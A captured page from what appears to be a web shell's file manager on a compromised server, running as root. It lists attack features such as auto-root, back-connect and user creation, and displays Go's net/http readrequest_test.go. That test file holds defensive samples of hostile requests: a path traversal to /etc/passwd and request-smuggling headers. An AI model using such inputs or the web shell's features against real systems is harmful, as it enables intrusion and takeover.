Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
go /
src /
net /
http /
[ HOME SHELL ]
Name
Size
Permission
Action
cgi
[ DIR ]
drwxr-xr-x
cookiejar
[ DIR ]
drwxr-xr-x
fcgi
[ DIR ]
drwxr-xr-x
httptest
[ DIR ]
drwxr-xr-x
httptrace
[ DIR ]
drwxr-xr-x
httputil
[ DIR ]
drwxr-xr-x
internal
[ DIR ]
drwxr-xr-x
pprof
[ DIR ]
drwxr-xr-x
testdata
[ DIR ]
drwxr-xr-x
alpn_test.go
3.03
KB
-rw-r--r--
client.go
31.47
KB
-rw-r--r--
client_test.go
55.36
KB
-rw-r--r--
clientserver_test.go
42.36
KB
-rw-r--r--
clone.go
1.56
KB
-rw-r--r--
cookie.go
10.76
KB
-rw-r--r--
cookie_test.go
17.74
KB
-rw-r--r--
doc.go
3.44
KB
-rw-r--r--
example_filesystem_test.go
2.03
KB
-rw-r--r--
example_handle_test.go
560
B
-rw-r--r--
example_test.go
5.28
KB
-rw-r--r--
export_test.go
7.43
KB
-rw-r--r--
filetransport.go
2.9
KB
-rw-r--r--
filetransport_test.go
1.61
KB
-rw-r--r--
fs.go
23.36
KB
-rw-r--r--
fs_test.go
35.21
KB
-rw-r--r--
h2_bundle.go
320.65
KB
-rw-r--r--
header.go
7.36
KB
-rw-r--r--
header_test.go
5.58
KB
-rw-r--r--
http.go
4.95
KB
-rw-r--r--
http_test.go
4.43
KB
-rw-r--r--
jar.go
900
B
-rw-r--r--
main_test.go
4.41
KB
-rw-r--r--
method.go
517
B
-rw-r--r--
omithttp2.go
1.85
KB
-rw-r--r--
proxy_test.go
1.13
KB
-rw-r--r--
range_test.go
2.38
KB
-rw-r--r--
readrequest_test.go
9.71
KB
-rw-r--r--
request.go
44.68
KB
-rw-r--r--
request_test.go
31.96
KB
-rw-r--r--
requestwrite_test.go
22.79
KB
-rw-r--r--
response.go
10.76
KB
-rw-r--r--
response_test.go
24.05
KB
-rw-r--r--
responsewrite_test.go
6.94
KB
-rw-r--r--
roundtrip.go
563
B
-rw-r--r--
roundtrip_js.go
9.11
KB
-rw-r--r--
serve_test.go
171.18
KB
-rw-r--r--
server.go
105.67
KB
-rw-r--r--
server_test.go
1.19
KB
-rw-r--r--
sniff.go
8
KB
-rw-r--r--
sniff_test.go
8.09
KB
-rw-r--r--
socks_bundle.go
12.93
KB
-rw-r--r--
status.go
7.26
KB
-rw-r--r--
transfer.go
30.3
KB
-rw-r--r--
transfer_test.go
7.31
KB
-rw-r--r--
transport.go
81.6
KB
-rw-r--r--
transport_internal_test.go
5.91
KB
-rw-r--r--
transport_test.go
159.07
KB
-rw-r--r--
triv.go
3.2
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : readrequest_test.go
// Copyright 2010 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package http import ( "bufio" "bytes" "fmt" "io" "io/ioutil" "net/url" "reflect" "strings" "testing" ) type reqTest struct { Raw string Req *Request Body string Trailer Header Error string } var noError = "" var noBodyStr = "" var noTrailer Header = nil var reqTests = []reqTest{ // Baseline test; All Request fields included for template use { "GET http://www.techcrunch.com/ HTTP/1.1\r\n" + "Host: www.techcrunch.com\r\n" + "User-Agent: Fake\r\n" + "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" + "Accept-Language: en-us,en;q=0.5\r\n" + "Accept-Encoding: gzip,deflate\r\n" + "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n" + "Keep-Alive: 300\r\n" + "Content-Length: 7\r\n" + "Proxy-Connection: keep-alive\r\n\r\n" + "abcdef\n???", &Request{ Method: "GET", URL: &url.URL{ Scheme: "http", Host: "www.techcrunch.com", Path: "/", }, Proto: "HTTP/1.1", ProtoMajor: 1, ProtoMinor: 1, Header: Header{ "Accept": {"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, "Accept-Language": {"en-us,en;q=0.5"}, "Accept-Encoding": {"gzip,deflate"}, "Accept-Charset": {"ISO-8859-1,utf-8;q=0.7,*;q=0.7"}, "Keep-Alive": {"300"}, "Proxy-Connection": {"keep-alive"}, "Content-Length": {"7"}, "User-Agent": {"Fake"}, }, Close: false, ContentLength: 7, Host: "www.techcrunch.com", RequestURI: "http://www.techcrunch.com/", }, "abcdef\n", noTrailer, noError, }, // GET request with no body (the normal case) { "GET / HTTP/1.1\r\n" + "Host: foo.com\r\n\r\n", &Request{ Method: "GET", URL: &url.URL{ Path: "/", }, Proto: "HTTP/1.1", ProtoMajor: 1, ProtoMinor: 1, Header: Header{}, Close: false, ContentLength: 0, Host: "foo.com", RequestURI: "/", }, noBodyStr, noTrailer, noError, }, // Tests that we don't parse a path that looks like a // scheme-relative URI as a scheme-relative URI. { "GET //user@host/is/actually/a/path/ HTTP/1.1\r\n" + "Host: test\r\n\r\n", &Request{ Method: "GET", URL: &url.URL{ Path: "//user@host/is/actually/a/path/", }, Proto: "HTTP/1.1", ProtoMajor: 1, ProtoMinor: 1, Header: Header{}, Close: false, ContentLength: 0, Host: "test", RequestURI: "//user@host/is/actually/a/path/", }, noBodyStr, noTrailer, noError, }, // Tests a bogus absolute-path on the Request-Line (RFC 7230 section 5.3.1) { "GET ../../../../etc/passwd HTTP/1.1\r\n" + "Host: test\r\n\r\n", nil, noBodyStr, noTrailer, `parse "../../../../etc/passwd": invalid URI for request`, }, // Tests missing URL: { "GET HTTP/1.1\r\n" + "Host: test\r\n\r\n", nil, noBodyStr, noTrailer, `parse "": empty url`, }, // Tests chunked body with trailer: { "POST / HTTP/1.1\r\n" + "Host: foo.com\r\n" + "Transfer-Encoding: chunked\r\n\r\n" + "3\r\nfoo\r\n" + "3\r\nbar\r\n" + "0\r\n" + "Trailer-Key: Trailer-Value\r\n" + "\r\n", &Request{ Method: "POST", URL: &url.URL{ Path: "/", }, TransferEncoding: []string{"chunked"}, Proto: "HTTP/1.1", ProtoMajor: 1, ProtoMinor: 1, Header: Header{}, ContentLength: -1, Host: "foo.com", RequestURI: "/", }, "foobar", Header{ "Trailer-Key": {"Trailer-Value"}, }, noError, }, // Tests chunked body and a bogus Content-Length which should be deleted. { "POST / HTTP/1.1\r\n" + "Host: foo.com\r\n" + "Transfer-Encoding: chunked\r\n" + "Content-Length: 9999\r\n\r\n" + // to be removed. "3\r\nfoo\r\n" + "3\r\nbar\r\n" + "0\r\n" + "\r\n", &Request{ Method: "POST", URL: &url.URL{ Path: "/", }, TransferEncoding: []string{"chunked"}, Proto: "HTTP/1.1", ProtoMajor: 1, ProtoMinor: 1, Header: Header{}, ContentLength: -1, Host: "foo.com", RequestURI: "/", }, "foobar", noTrailer, noError, }, // CONNECT request with domain name: { "CONNECT www.google.com:443 HTTP/1.1\r\n\r\n", &Request{ Method: "CONNECT", URL: &url.URL{ Host: "www.google.com:443", }, Proto: "HTTP/1.1", ProtoMajor: 1, ProtoMinor: 1, Header: Header{}, Close: false, ContentLength: 0, Host: "www.google.com:443", RequestURI: "www.google.com:443", }, noBodyStr, noTrailer, noError, }, // CONNECT request with IP address: { "CONNECT 127.0.0.1:6060 HTTP/1.1\r\n\r\n", &Request{ Method: "CONNECT", URL: &url.URL{ Host: "127.0.0.1:6060", }, Proto: "HTTP/1.1", ProtoMajor: 1, ProtoMinor: 1, Header: Header{}, Close: false, ContentLength: 0, Host: "127.0.0.1:6060", RequestURI: "127.0.0.1:6060", }, noBodyStr, noTrailer, noError, }, // CONNECT request for RPC: { "CONNECT /_goRPC_ HTTP/1.1\r\n\r\n", &Request{ Method: "CONNECT", URL: &url.URL{ Path: "/_goRPC_", }, Proto: "HTTP/1.1", ProtoMajor: 1, ProtoMinor: 1, Header: Header{}, Close: false, ContentLength: 0, Host: "", RequestURI: "/_goRPC_", }, noBodyStr, noTrailer, noError, }, // SSDP Notify request. golang.org/issue/3692 { "NOTIFY * HTTP/1.1\r\nServer: foo\r\n\r\n", &Request{ Method: "NOTIFY", URL: &url.URL{ Path: "*", }, Proto: "HTTP/1.1", ProtoMajor: 1, ProtoMinor: 1, Header: Header{ "Server": []string{"foo"}, }, Close: false, ContentLength: 0, RequestURI: "*", }, noBodyStr, noTrailer, noError, }, // OPTIONS request. Similar to golang.org/issue/3692 { "OPTIONS * HTTP/1.1\r\nServer: foo\r\n\r\n", &Request{ Method: "OPTIONS", URL: &url.URL{ Path: "*", }, Proto: "HTTP/1.1", ProtoMajor: 1, ProtoMinor: 1, Header: Header{ "Server": []string{"foo"}, }, Close: false, ContentLength: 0, RequestURI: "*", }, noBodyStr, noTrailer, noError, }, // Connection: close. golang.org/issue/8261 { "GET / HTTP/1.1\r\nHost: issue8261.com\r\nConnection: close\r\n\r\n", &Request{ Method: "GET", URL: &url.URL{ Path: "/", }, Header: Header{ // This wasn't removed from Go 1.0 to // Go 1.3, so locking it in that we // keep this: "Connection": []string{"close"}, }, Host: "issue8261.com", Proto: "HTTP/1.1", ProtoMajor: 1, ProtoMinor: 1, Close: true, RequestURI: "/", }, noBodyStr, noTrailer, noError, }, // HEAD with Content-Length 0. Make sure this is permitted, // since I think we used to send it. { "HEAD / HTTP/1.1\r\nHost: issue8261.com\r\nConnection: close\r\nContent-Length: 0\r\n\r\n", &Request{ Method: "HEAD", URL: &url.URL{ Path: "/", }, Header: Header{ "Connection": []string{"close"}, "Content-Length": []string{"0"}, }, Host: "issue8261.com", Proto: "HTTP/1.1", ProtoMajor: 1, ProtoMinor: 1, Close: true, RequestURI: "/", }, noBodyStr, noTrailer, noError, }, // http2 client preface: { "PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n", &Request{ Method: "PRI", URL: &url.URL{ Path: "*", }, Header: Header{}, Proto: "HTTP/2.0", ProtoMajor: 2, ProtoMinor: 0, RequestURI: "*", ContentLength: -1, Close: true, }, noBodyStr, noTrailer, noError, }, } func TestReadRequest(t *testing.T) { for i := range reqTests { tt := &reqTests[i] req, err := ReadRequest(bufio.NewReader(strings.NewReader(tt.Raw))) if err != nil { if err.Error() != tt.Error { t.Errorf("#%d: error %q, want error %q", i, err.Error(), tt.Error) } continue } rbody := req.Body req.Body = nil testName := fmt.Sprintf("Test %d (%q)", i, tt.Raw) diff(t, testName, req, tt.Req) var bout bytes.Buffer if rbody != nil { _, err := io.Copy(&bout, rbody) if err != nil { t.Fatalf("%s: copying body: %v", testName, err) } rbody.Close() } body := bout.String() if body != tt.Body { t.Errorf("%s: Body = %q want %q", testName, body, tt.Body) } if !reflect.DeepEqual(tt.Trailer, req.Trailer) { t.Errorf("%s: Trailers differ.\n got: %v\nwant: %v", testName, req.Trailer, tt.Trailer) } } } // reqBytes treats req as a request (with \n delimiters) and returns it with \r\n delimiters, // ending in \r\n\r\n func reqBytes(req string) []byte { return []byte(strings.ReplaceAll(strings.TrimSpace(req), "\n", "\r\n") + "\r\n\r\n") } var badRequestTests = []struct { name string req []byte }{ {"bad_connect_host", reqBytes("CONNECT []%20%48%54%54%50%2f%31%2e%31%0a%4d%79%48%65%61%64%65%72%3a%20%31%32%33%0a%0a HTTP/1.0")}, {"smuggle_two_contentlen", reqBytes(`POST / HTTP/1.1 Content-Length: 3 Content-Length: 4 abc`)}, {"smuggle_content_len_head", reqBytes(`HEAD / HTTP/1.1 Host: foo Content-Length: 5`)}, // golang.org/issue/22464 {"leading_space_in_header", reqBytes(`HEAD / HTTP/1.1 Host: foo Content-Length: 5`)}, {"leading_tab_in_header", reqBytes(`HEAD / HTTP/1.1 \tHost: foo Content-Length: 5`)}, } func TestReadRequest_Bad(t *testing.T) { for _, tt := range badRequestTests { got, err := ReadRequest(bufio.NewReader(bytes.NewReader(tt.req))) if err == nil { all, err := ioutil.ReadAll(got.Body) t.Errorf("%s: got unexpected request = %#v\n Body = %q, %v", tt.name, got, all, err) } } }
Close